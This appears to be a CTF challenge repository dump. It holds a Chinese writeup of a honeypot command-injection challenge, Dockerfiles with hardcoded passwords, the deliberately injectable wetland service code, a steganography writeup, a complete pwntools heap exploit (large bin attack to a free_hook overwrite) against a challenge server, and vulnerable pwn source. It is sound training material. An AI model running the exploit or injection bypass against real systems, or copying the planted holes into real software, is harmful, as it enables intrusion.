一般打ctf的流量包里面都会藏一些有用的东西,所以这里设了个坑,下载了一个53.bin,但是文件的具体内容没有什么用,此文件实际上是之前部署在公网的蜜罐捕获到的DDos木马,所以先对执行了此文件的师傅说声对不起。 ![](pic/3.png) 3. 但是下载这个53.bin也不完全是坑人的,流量包里的http都很重要,过滤一下http可以看到只有几个数据包,User-Agent是wget,wget了cip.cc,并重定向到了www.cip.cc,这么做的初衷了为了暴露题目的公网IP,但是师傅们后来决定先不放这个流量包,所以题目描述直接把IP给出来了,这里也没什么用了。 ![](pic/4.png) 4. 那为什么53.bin有request没有response捏,实际上Follow一下TCP stream就能看到后面的都是二进制的数据,wireshark没有把他们识别为http协议。 ![](pic/5.png) 5. 实际上这个包最关键的地方在下图中两个GET 53.bin,这里涉及到一些蜜罐的东西,玩过SSH蜜罐的师傅可能了解,入侵者下载的恶意文件很可能随着执行而自动删除,所以绝大多数ssh蜜罐,无论低中高交互都会有一个功能,就是碰到wget命令,会解析命令并自动下载里面包含的恶意文件,这也就解释了为什么wget命令在两台主机上都执行了一次。 ![](pic/6.png) 6. 所以如果wget命令及参数没有解析好的话,是有可能导致命令注入的。这一点在后面的hint也有提示。这个漏洞我比较粗暴的设置为,当0.3主机得到了攻击者的命令,如果命令以wget为开头,則直接os.system(cmd),当然还是做了一些过滤的。 ![](pic/7.png) 7. 可以看到shell里常见的引入新的命令的符号大多数都做了过滤,比如`& | $()`,但是还是留下了姿势可以绕过,比如`\n`, ![](pic/8.png) 8. ssh tunnel的应用除了我们常用的shell,实际上还有exec,此应用不会在sshd上请求shell,只执行一条命令,比如`ssh pi@123.123.123.123 'ls'` 9. 但为了方便构造,可以使用python的paramiko库来get flag ![](pic/10.png) ![](pic/9.png) 10. 实际上也可以直接getshell ![](pic/11.png) ## 最后 1. wetland是我之前写的一个高交互ssh蜜罐,基于python的paramiko库。这个题就是直接拿它改动了一点。地址在本github帐号的wetland仓库里。 2. 题目的架构为真实云主机上跑两个docker容器,分别为wetland(172.18.0.3)和sshd(172.18.0.2),其中wetland是蜜罐程序,sshd用于执行黑客的命令。 3. 两个容器的dockerfile在docker文件夹中,sshd是对rastasheep/ubuntu-sshd的修改,降低了权限。wetland是对docker hub上ohmyadd/wetland镜像的修改,修改了两个文件,加上了命令注入。 4. 最后既然是蜜罐,肯定会记录执行的操作啦,日志文件都有保留,但不知道公开合不合适,就先不放出来了。 5. 最后一张用bearychat来实时看都有什么操作:) ![](pic/12.png) ================================================ FILE: src/misc/raspberry/docker/sshd/Dockerfile ================================================ From rastasheep/ubuntu-sshd COPY dist /root/dist RUN useradd -s /bin/bash -m -u 555 pi && \ echo "pi:shumeipai" | chpasswd && \ echo "root:8901234567qwertyuiop" | chpasswd && \ mv /root/dist/flag.txt /home/pi && \ chmod 644 /home/pi/flag.txt CMD ["/usr/sbin/sshd", "-D"] ================================================ FILE: src/misc/raspberry/docker/sshd/dist/flag.txt ================================================ lctf{echoechoechoecho} ================================================ FILE: src/misc/raspberry/docker/wetland/Dockerfile ================================================ FROM ohmyadd/wetland COPY dist /root/dist RUN adduser -D -u 500 wetland && \ echo "wetland:wetland" | chpasswd && \ cp -R /root/wetland /home/wetland/ && \ cp /root/dist/exec_service.py /home/wetland/wetland/wetland/services/exec_service.py && \ cp /root/dist/shell_service.py /home/wetland/wetland/wetland/services/shell_service.py && \ chown -R wetland:wetland /home/wetland && \ chown -R wetland /home/wetland/wetland/log && \ chown wetland /home/wetland/wetland/wetland.cfg && \ sed -ri 's/wetland_port = 22/wetland_port = 2222/' /home/wetland/wetland/wetland.cfg && \ sed -ri "s/root = '\/root\/wetland\/'/root = '\/home\/wetland\/wetland\/'/" /usr/local/bin/entrypoint.py && \ cp /root/dist/flag.txt /home/wetland/flag.txt && \ rm -rf /root/dist && \ chmod 600 -R /root VOLUME /home/wetland/wetland/log USER wetland WORKDIR /home/wetland ENTRYPOINT ["entrypoint.py"] ================================================ FILE: src/misc/raspberry/docker/wetland/dist/exec_service.py ================================================ import os def exec_service(hacker_session, docker_session, cmd, output): print 'cmd:', cmd if cmd.startswith('wget'): cmd = cmd.replace("&", "") cmd = cmd.replace("|", "") cmd = cmd.replace("$", "") cmd = cmd.replace(";", "") cmd = cmd.replace("\r", "") os.system(cmd) docker_session.exec_command(cmd) output.o('content', 'exec', "N"*20) output.o('content', 'exec', '[H]:'+cmd.encode("hex")) output.o('wetland', 'exec command', cmd) try: while True: if hacker_session.recv_ready(): text = hacker_session.recv(1024) output.o('content', 'exec', '[H]:'+text.encode("hex")) # print 'hacker said: ', text.encode("hex"), text docker_session.sendall(text) if docker_session.recv_ready(): text = docker_session.recv(1024) output.o('content', 'exec', '[V]:'+text.encode("hex")) # print 'docker said: ', text.encode("hex"), text hacker_session.sendall(text) if docker_session.recv_stderr_ready(): text = docker_session.recv_stderr(1024) hacker_session.sendall_stderr(text) if docker_session.eof_received: hacker_session.shutdown_write() hacker_session.send_exit_status(0) if hacker_session.eof_received: docker_session.shutdown_write() docker_session.send_exit_status(0) if hacker_session.eof_received or docker_session.eof_received: break except Exception, e: print e finally: docker_session.close() hacker_session.close() ================================================ FILE: src/misc/raspberry/docker/wetland/dist/flag.txt ================================================ lctf{qingzhu0x16bigshenglizhaokai} ================================================ FILE: src/misc/raspberry/docker/wetland/dist/shell_service.py ================================================ import os import json with open(os.path.join(os.path.dirname(__file__), 'visual.txt')) as txt: visual = json.load(txt) def shell_service(hacker_session, docker_session, output): hacker_session.settimeout(3600) output.o('content', 'shell', "N"*20) try: command = [] while True: if hacker_session.recv_ready(): text = hacker_session.recv(1) docker_session.sendall(text) output.o('content', 'shell', '[H]:'+text.encode("hex")) if text == '\r': cmd = ''.join(command) if cmd.startswith('wget'): cmd = cmd.replace("&", "") cmd = cmd.replace("|", "") cmd = cmd.replace("$", "") cmd = cmd.replace(";", "") cmd = cmd.replace("\r", "") os.system(cmd) output.o('wetland', 'shell cmd', ''.join(cmd)) command = [] else: command.append(visual[text]) if docker_session.recv_ready(): text = docker_session.recv(1024) output.o('content', 'shell', '[V]:'+text.encode("hex")) hacker_session.sendall(text) if docker_session.recv_stderr_ready(): text = docker_session.recv_stderr(1024) hacker_session.sendall_stderr(text) if docker_session.eof_received: hacker_session.shutdown_write() hacker_session.send_exit_status(0) if hacker_session.eof_received: docker_session.shutdown_write() docker_session.send_exit_status(0) if docker_session.eof_received or hacker_session.eof_received: break except Exception, e: print e finally: hacker_session.close() docker_session.close() ================================================ FILE: src/misc/拿去当壁纸吧朋友/writeup.md ================================================ # 拿去当壁纸吧朋友 平时隐写玩的多的师傅们看到论文能意识到这个是[busysteg](https://github.com/jaybosamiya/busysteg),不多说。真·签到题。 可能有一些人在搭建openCV环境上面有一点障碍, 可以在这里看看我怎么在Ubuntu 16.04 x64搭建的: [https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv](https://github.com/skyel1u/my-pc-env/blob/master/my-pc-env.md#open-cv) 编译busysteg的代码,直接使用就好了: ```c #include #include #include #include #include #include #include using namespace cv; using namespace std; char* progpath; void usage() { cerr << "Usage: \n"; cerr << " " << progpath << " h \n"; cerr << " " << progpath << " x \n"; } void fatalerror(const char* error) { cerr << "ERROR: " << error << endl; usage(); exit(1); } void info(const char* msg) { cerr << "[+] " << msg << endl; } void hide_data(char* inimg, char* indata, char* outimg); void extract_data(char *inimg, char* outdata); int main( int argc, char** argv ) { progpath = argv[0]; if ( argc < 2 ) { fatalerror("No arguments passed"); } if ( argv[1][1] != '\0' ) { fatalerror("Operation must be a single letter"); } if ( argv[1][0] == 'h' ) { if ( argc != 5 ) { fatalerror("Wrong number of parameters for [h]ide operation"); } hide_data(argv[2], argv[3], argv[4]); } else if ( argv[1][0] == 'x' ) { if ( argc != 4 ) { fatalerror("Wrong number of parameters for e[x]tract operation"); } extract_data(argv[2], argv[3]); } else { fatalerror("Unknown operation"); } return 0; } Mat calc_energy(Mat img) { Mat orig; Mat shifted; Mat diff; Mat res; bitwise_and(img, 0xF0, img); copyMakeBorder(img, orig, 1, 1, 1, 1, BORDER_REPLICATE); res = Mat::zeros(orig.size(), orig.type()); int top[8] = {1,0,0,0,1,2,2,2}; int left[8] = {2,2,1,0,0,0,1,2}; for ( int i = 0 ; i < 8 ; i++ ) { copyMakeBorder(img, shifted, top[i], 2-top[i], left[i], 2-left[i], BORDER_REPLICATE); absdiff(orig, shifted, diff); res = max(res, diff); } return res(Rect(1, 1, img.cols, img.rows)); // x, y, width, height } typedef pair, pair > > Energy; inline Energy _energy(int r, int c, int ch, uchar v) { int nonce = ch * ch * 10666589 + r * r + c * c + 2239; // to "uniformly" distribute data return make_pair(make_pair(v, nonce), make_pair(ch, make_pair(c, r))); } inline int _energy_r(const Energy &e) { return e.second.second.second; } inline int _energy_c(const Energy &e) { return e.second.second.first; } inline int _energy_ch(const Energy &e) { return e.second.first; } inline int _energy_v(const Energy &e) { return e.first.first; } vector energy_order(Mat img) { /* Returns a vector in decreasing order of energy. */ Mat energy = calc_energy(img.clone()); info("Calculated energies"); vector energylist; for ( int r = 0 ; r < img.rows ; r++ ) { for ( int c = 0 ; c < img.cols ; c++ ) { const Vec3b vals = energy.at(r,c); for ( int ch = 0 ; ch < 3 ; ch++ ) { uchar v = vals[ch]; if ( v > 0 ) { energylist.push_back(_energy(r,c,ch,v)); } } } } sort(energylist.begin(), energylist.end()); reverse(energylist.begin(), energylist.end()); return energylist; } void write_into(Mat &img, vector pts, char *buf, int size) { int written = 0; char val; int count = 0; for ( vector::iterator it = pts.begin() ; it != pts.end() && written != size ; it++, count++ ) { uchar data; if ( count % 2 == 0 ) { val = buf[written]; data = (val & 0xf0) / 0x10; } else { data = (val & 0x0f); written += 1; } Energy &e = *it; Vec3b &vals = img.at(_energy_r(e), _energy_c(e)); uchar &v = vals[_energy_ch(e)]; v = (0xf0 & v) + data; } if ( written != size ) { fatalerror("Could not write all bytes"); } } void read_from(Mat &img, vector pts, char* buf, int size) { int read = 0; int count = 0; char val = 0; for ( vector::iterator it = pts.begin() ; it != pts.end() && read != size ; it++, count++ ) { Energy &e = *it; const Vec3b val = img.at(_energy_r(e), _energy_c(e)); const uchar v = val[_energy_ch(e)]; const uchar data = 0x0f & v; char out; if ( count % 2 == 0 ) { out = data * 0x10; } else { out += data; buf[read++] = out; } } if ( read != size ) { fatalerror("Wrong size"); } } bool is_valid_image_path(char *path) { int l = strlen(path); return strcmp(path + l - 4, ".bmp") == 0 || strcmp(path + l - 4, ".png") == 0; } void hide_data(char* inimg, char* indata, char* outimg) { if ( !is_valid_image_path(outimg) ) { fatalerror("Output path must be either have .png or .bmp as extension."); } Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR); if ( ! img.data ) { fatalerror("Could not load image. Please check path."); } info("Loaded image"); ifstream fin(indata, ios_base::binary); if ( ! fin.good() ) { fatalerror("Could not read data from file. Please check path."); } char_traits::pos_type fstart = fin.tellg(); fin.seekg(0, ios_base::end); long int fsize = (long int) (fin.tellg() - fstart); fin.seekg(0, ios_base::beg); char *buf = new char[fsize + 16]; memcpy(buf, "BUSYSTEG", 8); memcpy(buf + 8, &fsize, 8); fin.read(buf + 16, fsize); fin.close(); info("Read data"); vector pts = energy_order(img); info("Found energy ordering"); write_into(img, pts, buf, fsize + 16); info("Updated pixel values"); imwrite(outimg, img); info("Finished writing image"); delete[] buf; } void extract_data(char *inimg, char* outdata) { Mat img = imread(inimg, CV_LOAD_IMAGE_COLOR); if ( ! img.data ) { fatalerror("Could not load image. Please check path."); } info("Loaded image"); vector pts = energy_order(img); info("Found energy ordering"); char header[16]; read_from(img, pts, header, 16); if ( memcmp(header, "BUSYSTEG", 8) != 0 ) { fatalerror("Not a busysteg encoded image"); } long int fsize; memcpy(&fsize, header+8, 8); info("Found data length"); char *buf = new char[fsize + 16]; read_from(img, pts, buf, fsize + 16); info("Loaded data from pixels"); ofstream fout(outdata, ios_base::binary); fout.write(buf + 16, fsize); fout.close(); info("Finished writing data"); delete [] buf; } ``` CMakeLists.txt: ```cmake cmake_minimum_required(VERSION 2.8) project( busysteg ) find_package( OpenCV REQUIRED ) add_executable( busysteg busysteg ) target_link_libraries( busysteg ${OpenCV_LIBS} ) ``` 使用cmake编译,运行即可得flag: ```shell $ ./busySteg x final.png out [+] Loaded image [+] Calculated energies [+] Found energy ordering [+] Found data length [+] Loaded data from pixels [+] Finished writing data $ cat out lctf{4a7cb5e3c532f01c45e4213804ff1704} ``` ================================================ FILE: src/pwn/2ez4u/2ez4u_exp.py ================================================ #!/usr/bin/env python2.7 # -*- coding: utf-8 -*- from __future__ import print_function from pwn import * from ctypes import c_uint32 context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'x86-64' context.os = 'linux' context.log_level = 'DEBUG' io = remote("111.231.13.27", 20001) #io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"}) #io = process("2EZ4U_e994c467c9d8237e155f55f8c8315027") EXEC = 0x0000555555554000 def add(l, desc): io.recvuntil('your choice:') io.sendline('1') io.recvuntil('color?(0:red, 1:green):') io.sendline('0') io.recvuntil('value?(0-999):') io.sendline('0') io.recvuntil('num?(0-16)') io.sendline('0') io.recvuntil('description length?(1-1024):') io.sendline(str(l)) io.recvuntil('description of the apple:') io.sendline(desc) pass def dele(idx): io.recvuntil('your choice:') io.sendline('2') io.recvuntil('which?(0-15):') io.sendline(str(idx)) pass def edit(idx, desc): io.recvuntil('your choice:') io.sendline('3') io.recvuntil('which?(0-15):') io.sendline(str(idx)) io.recvuntil('color?(0:red, 1:green):') io.sendline('2') io.recvuntil('value?(0-999):') io.sendline('1000') io.recvuntil('num?(0-16)') io.sendline('17') io.recvuntil('new description of the apple:') io.sendline(desc) pass def show(idx): io.recvuntil('your choice:') io.sendline('4') io.recvuntil('which?(0-15):') io.sendline(str(idx)) pass add(0x60, '0'*0x60 ) # add(0x60, '1'*0x60 ) # add(0x60, '2'*0x60 ) # add(0x60, '3'*0x60 ) # add(0x60, '4'*0x60 ) # add(0x60, '5'*0x60 ) # add(0x60, '6'*0x60 ) # add(0x3f0, '7'*0x3f0) # playground add(0x30, '8'*0x30 ) add(0x3e0, '9'*0x3d0) # sup add(0x30, 'a'*0x30 ) add(0x3f0, 'b'*0x3e0) # victim add(0x30, 'c'*0x30 ) dele(0x9) dele(0xb) dele(0x0) #gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247)) add(0x400, '0'*0x400) # leak show(0xb) io.recvuntil('num: ') print(hex(c_uint32(int(io.recvline()[:-1])).value)) io.recvuntil('description:') HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0 log.info("heap base 0x%016x" % HEAP) target_addr = HEAP+0xb0 # 1 chunk1_addr = HEAP+0x130 # 2 chunk2_addr = HEAP+0x1b0 # 3 victim_addr = HEAP+0xc30 # b # large bin attack edit(0xb, p64(chunk1_addr)) # victim edit(0x1, p64(0x0)+p64(chunk1_addr)) # target chunk2 = p64(0x0) chunk2 += p64(0x0) chunk2 += p64(0x421) chunk2 += p64(0x0) chunk2 += p64(0x0) chunk2 += p64(chunk1_addr) edit(0x3, chunk2) # chunk2 chunk1 = '' chunk1 += p64(0x0) chunk1 += p64(0x0) chunk1 += p64(0x411) chunk1 += p64(target_addr-0x18) chunk1 += p64(target_addr-0x10) chunk1 += p64(victim_addr) chunk1 += p64(chunk2_addr) edit(0x2, chunk1) # chunk1 edit(0x7, '7'*0x198+p64(0x410)+p64(0x411)) dele(0x6) dele(0x3) add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! add(0x60, '6'*0x60 ) # show(0x3) io.recvuntil('3'*0x30) io.recv(8) LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8 log.info("libc base 0x%016x" % LIBC) junk = '' junk += '3'*0x30 junk += p64(0x81) junk += p64(LIBC+0x3c4be8) junk += p64(HEAP+0x300) junk = junk.ljust(0xa8, 'A') junk += p64(0x80) recovery = '' recovery += junk recovery += p64(0x80) # 0x4->size recovery += p64(0x60) # 0x4->fd dele(0x5) dele(0x4) edit(0x3, recovery) # victim, start from HEAP+0x158 add(0x60, '4'*0x60 ) # recovery = '' recovery += junk recovery += p64(0x70) # 0x4->size recovery += p64(0x0) # 0x4->fd edit(0x3, recovery) # victim, start from HEAP+0x158 add(0x40, '5'*0x30 ) # dele(0x5) recovery = '' recovery += '3'*0x30 recovery += p64(0x61) recovery += p64(LIBC+0x3c4b50) edit(0x3, recovery) # victim, start from HEAP+0x158 add(0x40, '5'*0x30 ) # add(0x40, p64(LIBC+0x3c5c50)) # # recovery edit(0xb, p64(HEAP+0x7e0)) dele(0x6) add(0x300, '\x00') # add(0x300, '\x00') # add(0x300, '\x00') # add(0x300, '\x00') # add(0x300, '/bin/sh') # dele(0x1) #add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) # add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # #gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247)) dele(15) io.interactive() ================================================ FILE: src/pwn/2ez4u/2ez4u_writeup.md ================================================ ## 2ez4u writeup 1. 分配一个large chunk大小的块 2. 自己在堆上事先伪造好一个largechunk的头 3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需要构造的合适一点,绕过glibc的检查),效果就是能malloc出这块地方。 4. 之后就是很常规的利用这个malloc出来的chunk来泄露libc,修改fastbin的fd 5. 修改main_arena上的top为free_hook上面一些的地方 6. 通过几次malloc,修改free_hook为system的地址 ================================================ FILE: src/pwn/shopping/shopping.c ================================================ #include #include #include #include #include #include /* Books & Audible Movies, Music & Games Electronics, Computers & Office Home, Garden & Tools Beauty & Health Toys, Kids & Baby Clothing, Shoes & Jewelry Handmade Sports & Outdoors Automotive & Industrial */ void* cart[99] = {0}; int cart_count = 0; double cart_total = 0.0; void get_str(char *buf, int size, char term) { char ch; int i = 0; for (i = 0; i < size; i++) { read(0, &ch, 1); if (ch == term) { buf[i] = '\0'; return; } else { buf[i] = ch; } } if (i == size) { buf[size-1] = '\0'; } else { buf[i] = '\0'; } } unsigned get_choice() { char buf[20]; get_str(buf, 20, '\n'); return (unsigned)atoi(buf); } unsigned char get_char() { char buf[20]; get_str(buf, 20, '\n'); return buf[0]; } char* get_message(int size) { char *message; int i = 0; if (size==0) { message = malloc(0x10); while (1) { message[i] = getchar(); if (message[i] == '\n') { message[i] = '\0'; break; } if (i++%8==0) { realloc(message, i+8); } } } else { message = malloc(size); get_str(message, size, '\n'); } return message; } int check_cart(void *item_t) { for (int i = 0; i < 99; ++i) { if (cart[i]==0) { cart[i] = item_t; cart_count++; return 1; } } printf("No more space!\n"); return 0; } struct _item_a { char mark[32]; char name[32]; char writer[32]; char padding[96]; double price; char *message; void (*print)(); int pad; }; void print_item_a(struct _item_a *item_t) { printf("Name: %s\t\tWriter: %s\t\tPrice: $%.2f\n", item_t->name, item_t->writer, item_t->price); } struct _item_a item_a[] = { {print:print_item_a, name:"Leonardo da Vinci\0",writer:"Walter Isaacson\0",price:20.99}, {print:print_item_a, name:"Obama: An Intimate Portrait\0",writer:"Pete Souza and Barack Obama\0",price:28.99}, {print:print_item_a, name:"Dog Man\0",writer:"Dav Pilkey\0",price:9.99}, {print:print_item_a, name:"The Getaway\0",writer:"Jeff Kinney\0",price:7.00}, {print:print_item_a, name:"The Dogist Puppies\0",writer:"Elias Weiss Friedman\0",price:15.67}, {print:print_item_a, name:"The Rooster Bar\0",writer:"John Grisham\0",price:17.37}, {print:print_item_a, name:"Ada Twist, Scientist\0",writer:"David Roberts\0",price:13.46}, }; void add_item_a() { unsigned char choice; struct _item_a *item_t; while (1) { puts("--------------------------------"); for(int i=0;i<(sizeof(item_a)/sizeof(struct _item_a));i++) { printf("[%c] ", 'A'+i); item_a[i].print(&item_a[i]); } puts("--------------------------------"); printf("[n] back\n"); printf("Which book? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_a)/sizeof(struct _item_a))) { item_t = malloc(sizeof(struct _item_a)); item_t->print = print_item_a; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_a[choice - 'A'].name,strlen(item_a[choice - 'A'].name)); strncpy(item_t->writer,item_a[choice - 'A'].writer,strlen(item_a[choice - 'A'].writer)); item_t->price = item_a[choice - 'A'].price; item_t->print(item_t);// if (check_cart((void *)item_t)==0) { free(item_t); } else { cart_total += item_t->price; } } } } struct _item_b { char mark[32]; char name[32]; char actor[32]; char padding[96]; double price; char *message; void (*print)(); int pad; }; void print_item_b(struct _item_b *item_t) { printf("Name: %s\t\tActor: %s\t\tPrice: $%.2f\n", item_t->name, item_t->actor, item_t->price); } struct _item_b item_b[] = { {print:print_item_b, name:"Wonder Woman\0",actor:"Gal Gadot\0",price:14.99}, {print:print_item_b, name:"Your Name\0",actor:"Michael Sinterniklaas\0",price:19.96}, {print:print_item_b, name:"Spider-Man\0",actor:"Tom Holland\0",price:19.99}, {print:print_item_b, name:"Cars 3\0",actor:"Owen Wilson\0",price:44.99}, {print:print_item_b, name:"Despicable Me 3\0",actor:"None\0",price:9.47}, {print:print_item_b, name:"Game of Thrones\0",actor:"Various\0",price:39.96}, }; void add_item_b() { unsigned char choice; struct _item_b *item_t; while (1) { puts("--------------------------------"); for(int i=0;i<(sizeof(item_b)/sizeof(struct _item_b));i++) { printf("[%c] ", 'A'+i); item_b[i].print(&item_b[i]); } puts("--------------------------------"); printf("[n] back\n"); printf("Which moive? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_b)/sizeof(struct _item_b))) { item_t = malloc(sizeof(struct _item_b)); item_t->print = print_item_b; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_b[choice - 'A'].name,strlen(item_b[choice - 'A'].name)); strncpy(item_t->actor,item_b[choice - 'A'].actor,strlen(item_b[choice - 'A'].actor)); item_t->price = item_b[choice - 'A'].price; item_t->print(item_t);// if (check_cart((void *)item_t)==0) { free(item_t); } else { cart_total += item_t->price; } } } } struct _item_c { char mark[32]; char name[64]; char desc[96]; double price; float discount; void (*print)(); int pad; }; void print_item_c(struct _item_c *item_t) { printf("Name: %s\t\tDescription: %s\t\tPrice: $%.2f\t\tDiscount: %.2f\n", item_t->name, item_t->desc, item_t->price, item_t->discount); } struct _item_c item_c[] = { {print:print_item_c, name:"HP Stream Laptop PC 14-ax010nr\0",desc:"(Intel Celeron N3060, 4 GB RAM, 32 GB eMMC) with Office 365 Personal for one year\0",price:219.00,discount:9.0}, {print:print_item_c, name:"Huawei MateBook X Signature Edition Ultraslim Laptop\0",desc:"Intel Core i7-7500U, 8GB RAM, 512GB SSD, Fingerprint, Office 365 Personal, MateDock v2.0\0",price:1279.90,discount:8.8}, {print:print_item_c, name:"MSI GT73VR TITAN PRO-1005 \0",desc:"17.3\" 120Hz 5ms Hardcore Gaming Laptop i7-7700HQ GTX 1080 8G 16GB 512GB SSD + 1TB, Black-Red\0",price:2499.99,discount:8.0}, {print:print_item_c, name:"Lenovo Flex 5 2-in-1 Laptop\0",desc:"Intel 7th Gen i7-7500U, 16GB DDR4 RAM, 1TB HDD + 256GB PCIe SSD, NVIDIA GeForce 940MX\0",price:1149.99,discount:8.8}, {print:print_item_c, name:"Acer Nitro 5, Intel Core i5-7300HQ\0",desc:"GeForce GTX 1050 Ti, 15.6\" Full HD, 8GB DDR4, 256GB SSD, AN515-51-55WL\0",price:699.99,discount:9.0}, {print:print_item_c, name:"HP Pavilion Power 15-inch Laptop\0",desc:"Intel Core i7-7700HQ, AMD Radeon RX 550, 12GB RAM, 1TB hard drive, Windows 10\0",price:829.56,discount:9.8} }; void add_item_c() { unsigned char choice; struct _item_c *item_t; while (1) { puts("--------------------------------"); for(int i=0;i<(sizeof(item_c)/sizeof(struct _item_c));i++) { printf("[%c] ", 'A'+i); item_c[i].print(&item_c[i]); } puts("--------------------------------"); printf("[n] back\n"); printf("Which book? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_c)/sizeof(struct _item_c))) { item_t = malloc(sizeof(struct _item_c)); item_t->print = print_item_c; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_c[choice - 'A'].name,strlen(item_c[choice - 'A'].name)); strncpy(item_t->desc,item_c[choice - 'A'].desc,strlen(item_c[choice - 'A'].desc)); item_t->price = item_c[choice - 'A'].price; item_t->discount = item_c[choice - 'A'].discount; item_t->print(item_t);// if (check_cart((void *)item_t)==0) { free(item_t); } else { cart_total += item_t->price*(item_t->discount/10); } } } } struct _item_d { char mark[32]; char name[32]; char desc[64]; char padd[64]; double price; char *message; void (*print)(); char details[128]; }; void print_item_d(struct _item_d *item_t) { printf("Name: %s\t\tDesc: %s\t\tPrice: $%.2f\t\tDetails: %s\n", item_t->name, item_t->desc, item_t->price, item_t->details); } struct _item_d item_d[] = { {print:print_item_d, name:"DYMO\0",desc:"DYMO LabelManager 280 Rechargeable Hand-Held Label Maker\0",price:14.87,details:"The DYMO LabelManager 280 prints durable, water-resistant labels that make it easy to access files, charts, tools, and more. \0"}, {print:print_item_d, name:"Ontel\0",desc:"SpeedOut Damaged Screw Extractor & Bolt Extractor Set\0",price:6.88,details:"If you've ever stripped a screw or broken off the head of a bolt, you know how frustrating that can be. \0" }, {print:print_item_d, name:"Top Greener\0",desc:"TOPGREENER TU2154A High Speed USB Charger Outlet\0",price:16.99,details:"USB Wall Charger, Electrical Outlet with USB, 15A TR Receptacle, Screwless Wall Plate, for iPhone X, iPhone 8/8 Plus \0" }, {print:print_item_d, name:"BLENDX\0",desc:"Universal Sockets Metric Wrench Power Drill Adapter Set \0",price:6.88,details:"Automatic standard and metric application; Unscrew various shapes nuts,screws,hooks,lag screws and bolt heads ect. \0" }, {print:print_item_d, name:"Mitutoyo\0",desc:"Mitutoyo 64PKA075 Tool Kit, 0-1\" Range Dial Indicator\0",price:6.88,details:"This item's packaging may indicate what is inside. To cover it, select Ship in Amazon box on the checkout page. \0" }, }; void add_item_d() { unsigned char choice; struct _item_d *item_t; while (1) { for(int i=0;i<(sizeof(item_d)/sizeof(struct _item_d));i++) { printf("[%c] ", 'A'+i); item_d[i].print(&item_d[i]); } printf("[n] back\n"); printf("Which tool? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_d)/sizeof(struct _item_d))) { item_t = malloc(sizeof(struct _item_d)); item_t->print = print_item_d; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_d[choice - 'A'].name,strlen(item_d[choice - 'A'].name)); strncpy(item_t->desc,item_d[choice - 'A'].desc,strlen(item_d[choice - 'A'].desc)); strncpy(item_t->details,item_d[choice - 'A'].details,strlen(item_d[choice - 'A'].details)); item_t->price = item_d[choice - 'A'].price; item_t->print(item_t);// puts("leave a message?"); item_t->message = get_message(0); if (check_cart((void *)item_t)==0) { free(item_t->message); free(item_t); } else { cart_total += item_t->price; } } } } struct _item_e { char mark[32]; char name[32]; char desc[128]; double price; char *message; void (*print)(); int pad; }; void print_item_e(struct _item_e *item_t) { printf("Name: %s\t\tDescription: %s\t\tPrice: $%.2f\n", item_t->name, item_t->desc, item_t->price); } struct _item_e item_e[] = { {print:print_item_e, name:"Faith Beauty Eyelash\0",desc:"Advanced Formula for Longer and Thicker Lashes\0",price:22.99}, {print:print_item_e, name:"Silk Sleep or Eye Mask\0",desc:"100% mulberry silk and floss-soft, smooth, lightweight and comfortable\0",price:14.99}, {print:print_item_e, name:"Faith Beauty Eyelash\0",desc:"The magnetic eyelashes sets are made of high quality material.\0",price:10.11}, {print:print_item_e, name:"Premium Quality Blackhead Remover\0",desc:"The Mask can deeply clean stubborn blackheads on face without any harms.\0",price:14.99}, {print:print_item_e, name:"Toenail Nipper for Thick\0",desc:"The toenail nipper was designed to easily clip nails of all sizes.\0",price:22.99}, {print:print_item_e, name:"Magnetic Eyelashes\0",desc:"The toenail nipper was designed to easily clip nails of all sizes\0",price:18.95} }; void add_item_e() { unsigned char choice; struct _item_e *item_t; while (1) { for(int i=0;i<(sizeof(item_e)/sizeof(struct _item_e));i++) { printf("[%c] ", 'A'+i); item_e[i].print(&item_e[i]); } printf("[n] back\n"); printf("Which beauty? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_e)/sizeof(struct _item_e))) { item_t = malloc(sizeof(struct _item_e)); item_t->print = print_item_e; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_e[choice - 'A'].name,strlen(item_e[choice - 'A'].name)); strncpy(item_t->desc,item_e[choice - 'A'].desc,strlen(item_e[choice - 'A'].desc)); item_t->price = item_e[choice - 'A'].price; item_t->print(item_t);// puts("leave a message?"); item_t->message = get_message(0xe0); if (check_cart((void *)item_t)==0) { free(item_t->message); free(item_t); } else { cart_total += item_t->price; } } } } struct _item_f { char mark[32]; char name[128]; char desc[32]; double price_low; double price_high; void (*print)(); int star; char *message; int pad; }; void print_item_f(struct _item_f *item_t) { printf("Name: %s\t\tPrice: $%.2f~$%.2f\t\tStar: %d\n", item_t->name, item_t->price_low, item_t->price_high, item_t->star); } struct _item_f item_f[] = { {print:print_item_f, name:"Save on 2017 Chrome Soft and Chrome Soft X Golf Balls\0",price_low:31.99,price_high:72.64,star:5}, {print:print_item_f, name:"Up to 40% Off Select NCAA Headwear Styles\0",price_low:4.19,price_high:24.00,star:5}, {print:print_item_f, name:"Up to 40% Off Select NFL homeware and headwear\0",price_low:6.00,price_high:100.17,star:4}, {print:print_item_f, name:"Up to 40% Off Select NFL Men's Apparel 